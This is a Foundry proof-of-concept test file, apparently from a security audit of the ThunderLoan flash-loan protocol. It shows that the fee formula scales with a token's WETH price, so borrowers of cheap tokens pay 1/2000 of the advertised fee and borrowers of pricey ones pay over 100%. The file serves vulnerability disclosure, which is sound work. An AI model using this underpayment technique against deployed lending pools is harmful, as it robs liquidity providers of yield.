test/PoC_TL-07.t.sol deploys ThunderLoan and ThunderLoanUpgraded behind ERC1967 proxies with a pool factory whose WETH price can be set per token. This is needed because the repo's MockTSwapPool hardcodes 1e18, the only price at which the formula is correct. The tests assert five results: (1) the fee is exactly 0.3% at a price of 1e18. (2) At 5e14 WETH, a 1,000,000e18 loan closes after the borrower pays only 1.5e18 (V1), and the LP redeems exactly 1.5e18 of yield, 1/2000 of the advertised 3000e18 (V2). (3) At 20 WETH the fee is 6e18 on 100e18, and a borrower who pays the advertised 0.3e18 reverts with ThunderLoan__NotPaidBack. (4) At 400 WETH the fee is 120e18, and the fee crosses the principal between 333 and 334 WETH. (5) A fuzz test confirms fee/advertised = price/1e18 for prices from 1e14 to 1e21, and a separate test shows that a 6-decimal and an 18-decimal token with the same quote get the same raw-unit fee. Run it with forge test --match-path test/PoC_TL-07.t.sol -vv.
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
contract PricedPool {
uint256 public price;
constructor(uint256 p) {
price = p;
}
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) {
return price;
}
}
contract PricedFactory {
mapping(address => address) private s_pools;
function setPool(address token, uint256 price) external returns (address pool) {
pool = address(new PricedPool(price));
s_pools[token] = pool;
}
function getPool(address token) external view returns (address) {
return s_pools[token];
}
}
contract Token6 is ERC20 {
constructor() ERC20("Six", "SIX") { }
function decimals() public pure override returns (uint8) {
return 6;
}
function mint(address to, uint256 amt) external {
_mint(to, amt);
}
}
interface ITL {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function repay(IERC20 token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
function getCalculatedFee(IERC20 token, uint256 amount) external view returns (uint256);
}
contract RepayAllReceiver {
uint256 public quotedFee;
function executeOperation(
address token,
uint256,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
quotedFee = fee;
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).approve(msg.sender, bal);
ITL(msg.sender).repay(IERC20(token), bal);
return true;
}
}
contract PoC_TL07 is Test {
PricedFactory factory;
ThunderLoan v1;
ThunderLoanUpgraded v2;
ERC20Mock tPeg;
ERC20Mock tCheap;
ERC20Mock tPricey;
ERC20Mock tVeryPricey;
address lp = makeAddr("lp");
uint256 constant ADVERTISED_FEE = 3e15;
uint256 constant PRECISION = 1e18;
function setUp() public {
factory = new PricedFactory();
tPeg = new ERC20Mock();
tCheap = new ERC20Mock();
tPricey = new ERC20Mock();
tVeryPricey = new ERC20Mock();
factory.setPool(address(tPeg), 1e18);
factory.setPool(address(tCheap), 5e14);
factory.setPool(address(tPricey), 20e18);
factory.setPool(address(tVeryPricey), 400e18);
v1 = ThunderLoan(address(new ERC1967Proxy(address(new ThunderLoan()), "")));
v1.initialize(address(factory));
v2 = ThunderLoanUpgraded(address(new ERC1967Proxy(address(new ThunderLoanUpgraded()), "")));
v2.initialize(address(factory));
ERC20Mock[4] memory toks = [tPeg, tCheap, tPricey, tVeryPricey];
for (uint256 i; i < 4; ++i) {
v1.setAllowedToken(IERC20(address(toks[i])), true);
v2.setAllowedToken(IERC20(address(toks[i])), true);
}
}
function _advertised(uint256 amount) internal pure returns (uint256) {
return (amount * ADVERTISED_FEE) / PRECISION;
}
function _lpDeposit(ITL tl, ERC20Mock tok, uint256 amt) internal {
tok.mint(lp, amt);
vm.startPrank(lp);
tok.approve(address(tl), amt);
tl.deposit(IERC20(address(tok)), amt);
vm.stopPrank();
}
function test_Baseline_PricedAtOneWeth_FeeIsAdvertised() public {
uint256 amount = 1000e18;
assertEq(v1.getCalculatedFee(IERC20(address(tPeg)), amount), 3e18, "V1: 0.3% at price 1e18");
assertEq(v2.getCalculatedFee(IERC20(address(tPeg)), amount), 3e18, "V2: 0.3% at price 1e18");
_lpDeposit(ITL(address(v2)), tPeg, amount);
AssetToken at = v2.getAssetFromToken(IERC20(address(tPeg)));
RepayAllReceiver r = new RepayAllReceiver();
tPeg.mint(address(r), 3e18);
uint256 before = tPeg.balanceOf(address(at));
v2.flashloan(address(r), IERC20(address(tPeg)), amount, "");
assertEq(tPeg.balanceOf(address(at)) - before, 3e18, "pool earned exactly 0.3%");
console.log("[baseline] price 1e18, loan 1000e18 -> fee", r.quotedFee());
}
function test_CheapToken_V1_BorrowerPays1_5InsteadOf3000() public {
uint256 amount = 1_000_000e18;
_lpDeposit(ITL(address(v1)), tCheap, amount);
AssetToken at = v1.getAssetFromToken(IERC20(address(tCheap)));
uint256 fee = v1.getCalculatedFee(IERC20(address(tCheap)), amount);
uint256 advertised = _advertised(amount);
assertEq(fee, 1.5e18, "fee charged = 1.5 tokens");
assertEq(advertised, 3000e18, "advertised 0.3% = 3000 tokens");
assertEq(advertised / fee, 2000, "charged 1/2000 of the advertised fee");
RepayAllReceiver r = new RepayAllReceiver();
tCheap.mint(address(r), 1.5e18);
uint256 before = tCheap.balanceOf(address(at));
v1.flashloan(address(r), IERC20(address(tCheap)), amount, "");
uint256 earned = tCheap.balanceOf(address(at)) - before;
assertEq(r.quotedFee(), 1.5e18, "receiver was quoted 1.5 tokens");
assertEq(earned, 1.5e18, "pool collected 1.5 tokens on a 1,000,000-token loan");
assertEq(tCheap.balanceOf(address(r)), 0, "borrower spent only 1.5 tokens");
console.log("[V1 cheap] fee charged (wei) :", earned);
console.log("[V1 cheap] advertised 0.3% (wei):", advertised);
}
function test_CheapToken_V2_LPYieldIsOne2000thOfAdvertised() public {
uint256 amount = 1_000_000e18;
_lpDeposit(ITL(address(v2)), tCheap, amount);
RepayAllReceiver r = new RepayAllReceiver();
tCheap.mint(address(r), 1.5e18);
v2.flashloan(address(r), IERC20(address(tCheap)), amount, "");
AssetToken at = v2.getAssetFromToken(IERC20(address(tCheap)));
uint256 shares = at.balanceOf(lp);
vm.prank(lp);
v2.redeem(IERC20(address(tCheap)), shares);
uint256 lpYield = tCheap.balanceOf(lp) - amount;
assertEq(lpYield, 1.5e18, "LP earned 1.5 tokens");
assertEq(_advertised(amount) / lpYield, 2000, "LP earned 1/2000 of the advertised 0.3%");
console.log("[V2 cheap] LP yield (wei) :", lpYield);
console.log("[V2 cheap] advertised LP yield (wei) :", _advertised(amount));
}
function test_PriceyToken_V2_SixPercentFee() public {
uint256 amount = 100e18;
_lpDeposit(ITL(address(v2)), tPricey, amount);
uint256 fee = v2.getCalculatedFee(IERC20(address(tPricey)), amount);
assertEq(fee, 6e18, "fee = 6 tokens on 100 = 6%");
assertEq(v1.getCalculatedFee(IERC20(address(tPricey)), amount), 6e18, "V1 identical");
assertEq(fee / _advertised(amount), 20, "20x the advertised 0.3%");
RepayAllReceiver r1 = new RepayAllReceiver();
tPricey.mint(address(r1), _advertised(amount));
vm.expectRevert(
abi.encodeWithSelector(
ThunderLoanUpgraded.ThunderLoan__NotPaidBack.selector, amount + 6e18, amount + _advertised(amount)
)
);
v2.flashloan(address(r1), IERC20(address(tPricey)), amount, "");
RepayAllReceiver r2 = new RepayAllReceiver();
tPricey.mint(address(r2), 6e18);
AssetToken at = v2.getAssetFromToken(IERC20(address(tPricey)));
uint256 before = tPricey.balanceOf(address(at));
v2.flashloan(address(r2), IERC20(address(tPricey)), amount, "");
assertEq(tPricey.balanceOf(address(at)) - before, 6e18, "borrower paid 6% of principal");
console.log("[V2 pricey 20 WETH] fee on 100e18 :", fee);
}
function test_VeryPriceyToken_FeeExceedsPrincipal() public {
uint256 amount = 100e18;
uint256 fee1 = v1.getCalculatedFee(IERC20(address(tVeryPricey)), amount);
uint256 fee2 = v2.getCalculatedFee(IERC20(address(tVeryPricey)), amount);
assertEq(fee1, 120e18, "V1: 120% fee at 400 WETH");
assertEq(fee2, 120e18, "V2: 120% fee at 400 WETH");
assertGt(fee1, amount, "fee > principal");
PricedFactory f = factory;
ERC20Mock t333 = new ERC20Mock();
ERC20Mock t334 = new ERC20Mock();
f.setPool(address(t333), 333e18);
f.setPool(address(t334), 334e18);
assertLt(v2.getCalculatedFee(IERC20(address(t333)), amount), amount, "333 WETH: fee < principal");
assertGt(v2.getCalculatedFee(IERC20(address(t334)), amount), amount, "334 WETH: fee > principal");
_lpDeposit(ITL(address(v2)), tVeryPricey, amount);
RepayAllReceiver r = new RepayAllReceiver();
tVeryPricey.mint(address(r), 120e18);
AssetToken at = v2.getAssetFromToken(IERC20(address(tVeryPricey)));
v2.flashloan(address(r), IERC20(address(tVeryPricey)), amount, "");
assertEq(tVeryPricey.balanceOf(address(at)), amount + 120e18, "borrower paid 120% fee");
console.log("[400 WETH] fee on 100e18 :", fee2);
}
function testFuzz_FeeRateScalesWithWethPrice(uint256 price, uint256 amount) public {
price = bound(price, 1e14, 1e21);
amount = bound(amount, 1e20, 1e27);
ERC20Mock t = new ERC20Mock();
factory.setPool(address(t), price);
v2.setAllowedToken(IERC20(address(t)), true);
uint256 fee = v2.getCalculatedFee(IERC20(address(t)), amount);
uint256 adv = _advertised(amount);
assertApproxEqRel(fee * 1e18, adv * price, 1e12, "fee/advertised == price/1e18");
}
function test_DecimalsNeverNormalised() public {
Token6 usdcLike = new Token6();
ERC20Mock t18 = new ERC20Mock();
uint256 quote = 3e14;
factory.setPool(address(usdcLike), quote);
factory.setPool(address(t18), quote);
v2.setAllowedToken(IERC20(address(usdcLike)), true);
uint256 raw = 1_000_000e6;
assertEq(
v2.getCalculatedFee(IERC20(address(usdcLike)), raw),
v2.getCalculatedFee(IERC20(address(t18)), raw),
"fee independent of decimals()"
);
assertEq(v2.getCalculatedFee(IERC20(address(usdcLike)), raw), 900_000, "0.9 USDC");
console.log("[6-dec, assumed quote 3e14] fee raw units on 1,000,000 USDC:", uint256(900_000));
console.log("[6-dec] advertised 0.3% raw units :", _advertised(raw));
}
}